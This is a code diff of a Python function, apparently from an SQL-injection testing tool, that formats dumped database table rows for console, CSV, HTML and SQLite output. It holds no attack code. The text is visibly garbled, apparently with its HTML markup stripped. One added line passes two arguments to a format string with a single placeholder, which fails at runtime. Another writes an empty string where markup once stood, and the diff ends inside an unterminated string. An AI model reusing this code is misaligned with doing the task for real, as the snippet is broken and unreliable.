@@ -567,7 +576,7 @@ def dbTableValues(self, tableValues):
else:
dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel))
elif conf.dumpFormat == DUMP_FORMAT.HTML:
- dataToDumpFile(dumpFP, "| %s | " % getUnicode(htmlEscape(column).encode("ascii", "xmlcharrefreplace")))
+ dataToDumpFile(dumpFP, "%s | " % (field - 1, getUnicode(htmlEscape(column).encode("ascii", "xmlcharrefreplace"))))
field += 1
@@ -582,17 +591,14 @@ def dbTableValues(self, tableValues):
elif conf.dumpFormat == DUMP_FORMAT.SQLITE:
rtable.beginTransaction()
- if count > TRIM_STDOUT_DUMP_SIZE:
- warnMsg = "console output will be trimmed to "
- warnMsg += "last %d rows due to " % TRIM_STDOUT_DUMP_SIZE
- warnMsg += "large table size"
- logger.warning(warnMsg)
-
for i in xrange(count):
console = (i >= count - TRIM_STDOUT_DUMP_SIZE)
field = 1
values = []
+ if i == 0 and count > TRIM_STDOUT_DUMP_SIZE:
+ self._write(" ...")
+
if conf.dumpFormat == DUMP_FORMAT.HTML:
dataToDumpFile(dumpFP, "")
@@ -609,7 +615,9 @@ def dbTableValues(self, tableValues):
value = getUnicode(info["values"][i])
value = DUMP_REPLACEMENTS.get(value, value)
- values.append(value)
+ if conf.dumpFormat == DUMP_FORMAT.SQLITE:
+ values.append(value)
+
maxlength = int(info["length"])
blank = " " * (maxlength - getConsoleLength(value))
self._write("| %s%s" % (value, blank), newline=False, console=console)
@@ -663,7 +671,7 @@ def dbTableValues(self, tableValues):
elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
if conf.dumpFormat == DUMP_FORMAT.HTML:
- dataToDumpFile(dumpFP, "\n\n